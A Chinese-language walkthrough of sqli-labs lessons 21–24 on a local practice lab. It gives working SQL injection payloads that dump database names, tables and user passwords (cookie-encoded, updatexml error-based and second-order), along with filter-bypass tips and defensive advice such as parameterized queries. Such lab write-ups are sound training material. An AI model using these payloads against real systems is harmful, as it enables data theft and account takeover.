Less-21 http://127.0.0.1/sqli-labs/Less-21/
1,抓个请求包看看
分析分析cookie被base64+URL编码了,解码之后就是admin
2,那么这个网站的漏洞利用方式也是和Less-20关一样的,只是攻击语句要先base64编码,再URL编码(闭合方式需要加上一个括号)
') order by 4 -- -
Jykgb3JkZXIgYnk gNCAtLSAt
所以推断数据表存在3列,接下来爆出数据库名
') union select 1,2,database()#
JykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIC0tIC0=
') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --
JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwzIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyAtLSA=
') union select 1,group_concat(username),group_concat(password) from users --
JykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMgLS0g
Less-22 http://127.0.0.1/sqli-labs/Less-22/index.php
1,这题和Less-21差不多,只不过闭合方式是"双引号
Less-23 基于GET过滤注释注入
http://127.0.0.1/sqli-labs/Less-23/index.php
1,抓取请求包看看
提示通过id传一个数值 ?id=1
恶意构造闭合语句的时候,网站直接响应码400(使用注释符也一样)
2,尝试构造sql查询语句的逻辑永为真试试
?id=1' and 1=1
然后再这个语句之间插入报错注入的攻击语句
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1' = '1
部分 | 作用 | 示例解释 |
?id=1' | 闭合原始引号:通过单引号结束原SQL语句中的字符串。 | 假设原查询为 SELECT * FROM users WHERE id='$id',注入后变为 ... id='1' [注入内容] ... |
and updatexml(...) | 触发错误回显:利用updatexml函数构造错误,泄露数据。 | 注入恶意SQL函数,将数据(如database())嵌入错误信息。 |
concat(0x7e, database(), 0x7e) | 标记数据边界:用~(0x7e)包裹目标数据,便于提取。 | 错误信息显示为 XPATH syntax error: '~example_db~' |
and '1'='1 | 闭合剩余引号:确保整个SQL语句语法正确。 | 原查询可能以单引号结尾,通过'1'='1闭合,避免语法错误。 |
然后再提取表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) and '1' = '1
字段名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) and '1' = '1
账户和密码
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1) and '1' = '1
可以通过burpsuite的Intruder模块进行爆破,逐步改变limit的偏移量就能够实现爆库
攻击语句逐层解析
?id=1'
AND updatexml(
1,
concat(
0x7e,
(SELECT group_concat(column_name)
FROM information_schema.columns
WHERE table_schema='security' AND table_name='users'
),
0x7e
),1)
AND '1' = '1
1. 语句结构拆解
代码片段 | 作用 | 详细说明 |
?id=1' | 闭合原始查询引号 | 通过单引号 ' 结束原SQL中的字符串,使后续内容被解析为SQL代码而非普通字符串。 |
AND updatexml(...) | 触发错误回显 | 利用updatexml函数的XPath语法错误,将查询结果嵌入错误信息中回显。 |
concat(0x7e, (...), 0x7e) | 标记数据边界 | 使用~(0x7e)包裹查询结果,便于从错误信息中提取目标数据。 |
SELECT group_concat(column_name) FROM ... | 提取列名 | 从系统表information_schema.columns中获取security.users表的所有列名,合并为单个字符串。 |
AND '1' = '1 | 维持语法完整性 | 闭合末尾引号,确保整个SQL语句语法正确。 |
2. 核心函数与操作符详解
2.1 updatexml() 函数
- 语法:
UPDATEXML(xml_target, xpath_expr, new_value) - 作用:
修改XML文档的指定节点内容。 - 攻击利用:
- 当xpath_expr包含非法语法(如~),MySQL会抛出错误,并回显xpath_expr内容。
- 示例错误:
ERROR 1105 (HY000): XPATH syntax error: '~id,username,password~'
2.2 concat() 函数
- 语法:
CONCAT(str1, str2, ...) - 作用:
将多个字符串连接成一个字符串。 - 攻击利用:
- 0x7e(~)作为分隔符,标记数据边界。
- 将查询结果包裹为~data~格式,便于从错误信息中提取。
2.3 group_concat() 函数
- 语法:
GROUP_CONCAT(column_name SEPARATOR ',') - 作用:
将多行查询结果合并为单个字符串,默认以逗号分隔。 - 攻击利用:
- 合并security.users表的所有列名,一次性提取。
- 示例结果:
id,username,password,email
2.4 information_schema.columns 系统表
- 结构:
字段名 | 说明 |
table_schema | 数据库名 |
table_name | 表名 |
column_name | 列名 |
- 攻击利用:
通过查询此表获取目标表结构信息,为后续数据窃取做准备。
2.5 WHERE 子句过滤
- 条件:
table_schema='security' AND table_name='users' - 作用:
限定仅查询security数据库下users表的列名。
2.6 单引号闭合与 AND '1'='1
- 单引号闭合:
1' 结束原查询中的字符串,使注入内容成为合法SQL代码。 - AND '1'='1:
闭合末尾单引号并构造永真条件,确保语句语法正确。 - 原查询可能为:
SELECT * FROM products WHERE id='$id' - 注入后逻辑:
SELECT * FROM products WHERE id='1' [注入代码] AND '1'='1'
3. 攻击流程总结
- 闭合引号:
通过1'提前闭合原查询字符串,注入恶意代码。 - 触发错误回显:
利用updatexml构造非法XPath表达式,使MySQL返回包含敏感数据的错误信息。 - 提取列名:
从information_schema.columns中获取users表的所有列名,合并为字符串。 - 数据分界:
concat(0x7e, ..., 0x7e)标记数据边界,便于从错误信息中提取内容。 - 维持语法正确性:
通过AND '1'='1闭合语句,避免语法错误。
4. 防御措施
防御手段 | 说明 | 示例 |
参数化查询 | 使用预编译语句分离代码与数据,彻底杜绝拼接。 | Python: cursor.execute("SELECT * FROM users WHERE id = %s", (id,)) |
输入过滤 | 过滤特殊字符(如'、"、\)。 | PHP: $id = mysqli_real_escape_string($conn, $_GET['id']); |
错误信息隐藏 | 关闭数据库错误回显,返回通用错误页面。 | PHP: ini_set('display_errors', 0); |
最小权限原则 | 数据库账号仅授予必要权限(如禁止普通用户访问information_schema)。 | MySQL: GRANT SELECT ON security.users TO 'app_user'@'localhost'; |
Web应用防火墙 | 部署WAF拦截恶意注入特征(如updatexml、concat(0x7e))。 | 规则示例: 检测information_schema访问行为。 |
5. 高级绕过与对抗
- 绕过information_schema限制:
MySQL 5.7+可通过sys.schema_table_statistics替代information_schema。
SELECT group_concat(column_name) FROM sys.schema_table_statistics WHERE table_name='users' - 分段提取长数据:
使用substr()和limit绕过32字节限制。
concat(0x7e, substr((SELECT group_concat(column_name) FROM ...),1,20),0x7e) - 盲注替代错误回显:
若错误回显被禁用,使用布尔盲注或时间盲注提取数据。
AND IF(ascii(substr(database(),1,1))=115, sleep(2), 1)
总结
该攻击通过精心构造的updatexml和concat函数,利用MySQL错误回显机制提取敏感数据。防御需从代码层(参数化查询)、配置层(错误隐藏)、权限层(最小权限)多维度加固,彻底阻断注入路径。
Less-24 POST型二次注入/存储型注入
http://127.0.0.1/sqli-labs/Less-24/
1. 二次注入(Second-Order SQL Injection)
定义
二次注入是指攻击者通过合法操作(如注册、评论)将恶意数据存入数据库后,这些数据在后续的另一个独立操作中被读取并拼接到SQL查询中,从而触发注入漏洞。
攻击流程
- 存储阶段:攻击者提交恶意数据(如含SQL片段的用户名),数据经转义后存入数据库。
示例:注册用户名为 admin' -- ,转义后存储为 admin\' -- 。 - 触发阶段:应用程序在另一功能(如密码重置)中使用该数据,未经转义直接拼接SQL。
示例:查询 SELECT * FROM users WHERE username = 'admin' -- ',-- 注释后续条件。
特点
- 需要两次操作:第一次存储数据,第二次触发漏洞。
- 数据在存储时可能被转义,但使用时未正确处理。
防御
- 对所有数据(包括内部数据)使用参数化查询。
- 避免在后续操作中信任已存储的数据。
2. 存储型注入(Stored SQL Injection)
定义
存储型注入是指恶意数据被持久化到数据库后,在应用程序读取并使用这些数据时触发的注入攻击,通常影响所有访问相关数据的用户。
攻击流程
- 存储阶段:攻击者在输入(如评论、日志)中插入恶意SQL代码。
示例:评论内容为 ' UNION SELECT密码 FROM users --。 - 触发阶段:应用程序读取数据并拼接SQL查询,导致恶意代码执行。
示例:管理员后台查询评论时触发 UNION 攻击,泄露敏感数据。
特点
- 数据存储后,每次访问都可能触发攻击(如多次查询、多用户受影响)。
- 常见于内容展示、管理后台等功能。
防御
- 严格校验和过滤所有用户输入。
- 使用ORM框架或预编译语句,避免动态拼接SQL。
关键区别
特征 | 二次注入 | 存储型注入 |
触发场景 | 不同功能的两次操作(如注册+重置密码) | 同一或不同功能的多次访问(如评论展示) |
数据使用方式 | 数据在另一流程中被误用 | 数据被直接读取并触发漏洞 |
影响范围 | 通常针对特定功能 | 可能影响所有访问者 |
1,点击New User click here?注册新用户
新注册账号名为admin' #密码为123456
注册成功,再以账号admin’#密码123456登录后修改密码
将密码由原来的123456修改为test
最后以账号admin密码test登录成功
二次注入漏洞利用成功(相当于给admin用户在没有验证的情况下篡改了它的密码)
分析代码中的二次注入成因
以下代码存在 二次注入(Second-Order SQL Injection) 的风险,具体成因如下:
1. 关键风险点:$_SESSION["username"] 的使用
在代码中,用户名直接通过 <?php echo $_SESSION["username"]; ?> 显示,且 假设在密码修改功能(pass_change.php)中会使用该值拼接 SQL 查询。
例如,pass_change.php 中可能存在如下代码:
$username = $_SESSION["username"];
$current_password = $_POST["current_password"];
$new_password = $_POST["password"];
// 动态拼接 SQL 语句(危险!)
$sql = "UPDATE users SET password = '$new_password'
WHERE username = '$username'
AND password = '$current_password'";
2. 攻击场景推演
阶段一:存储恶意数据(注册/用户创建)
假设攻击者注册用户时提交用户名为:
admin' --
- 注册逻辑可能对输入转义(如 mysql_real_escape_string),存入数据库的值为 admin\' --。
阶段二:触发注入(密码修改)
- 攻击者登录后,$_SESSION["username"] 值为 admin' --(未转义原始输入)。
- 修改密码时,代码拼接以下 SQL:
UPDATE users SET password = 'hacked'
WHERE username = 'admin' -- ' AND password = 'any_value' - -- 注释掉后续条件,导致 无需验证原密码即可修改密码。
3. 漏洞根源
- 信任已存储的数据:假设 $_SESSION["username"] 是安全的,直接用于 SQL 拼接。
- 未参数化查询:动态拼接 SQL 时未使用预编译语句,导致恶意字符激活。
4. 修复建议
- 参数化查询:
使用 PDO 或 MySQLi 的预处理语句重构 SQL:
$stmt = $pdo->prepare("UPDATE users SET password = ?
WHERE username = ? AND password = ?");
$stmt->execute([$new_password, $username, $current_password]); - 数据一致性处理:
- 注册时统一过滤/转义,使用时仍需参数化,避免信任存储数据。
- 输入输出验证:
- 用户名格式限制(如禁止特殊字符)。
- 关键操作(如密码修改)强制二次认证。
总结
二次注入的成因是:恶意数据在存储时被部分处理(如转义),但在后续使用场景中因未参数化查询而被重新激活。通过改用预编译语句,可彻底杜绝此类漏洞。